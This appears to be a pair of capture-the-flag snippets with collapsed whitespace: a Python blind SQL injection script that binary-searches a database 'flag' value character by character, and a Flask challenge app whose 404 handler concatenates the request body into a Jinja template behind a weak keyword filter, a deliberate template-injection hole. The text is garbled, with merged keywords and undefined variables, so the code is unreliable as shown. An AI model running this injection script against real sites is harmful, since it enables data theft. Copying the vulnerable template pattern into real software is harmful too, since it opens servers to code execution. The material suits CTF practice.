#ctf #file,flag #flag i = 1 whileTrue: max = 255 min = 0 while abs(max - min)>1: mid = (max + min)//2 pay = "233333' and if(ascii(substr((select flag from flag),{},1))>{},1,0)#".format(i,mid) data = {"code": pay} pay2 = "233333' and if(ascii(substr((select flag from flag),{},1))>{},1,0)%23".format(i,mid) r = requests.post(url=url+pay2,data=data,headers=headers) # print url+pay # print data # print r.text if'http://127.0.0.1/2333.gif'in r.text: min = mid else: max = mid i += 1 res += chr(max) if chr(max) notin string.printable: break print(res)
from flask import Flask,request,render_template from jinja2 import Template import os
app = Flask(__name__)
f = open('/flag','r') flag = f.read() @app.route('/',methods=['GET','POST']) defhome(): name = request.args.get("name") or"" print(name) if name: return render_template('index.html',name=name) else: return render_template('index.html')
@app.route('/help',methods=['GET']) defhelp(): help = ''' ''' return f.read()
@app.errorhandler(404) defpage_not_found(e): #No way to get flag! os.system('rm -f /flag') url = name = request.args.get("name") or"" # r = request.path r = request.data.decode('utf8') if'eval'in r or'popen'in r or'{{'in r: t = Template(" Not found!") return render_template(t), 404 t = Template(r + " Not found!") return render_template(t), 404
if __name__ == '__main__': app.run(host='0.0.0.0',port=8888)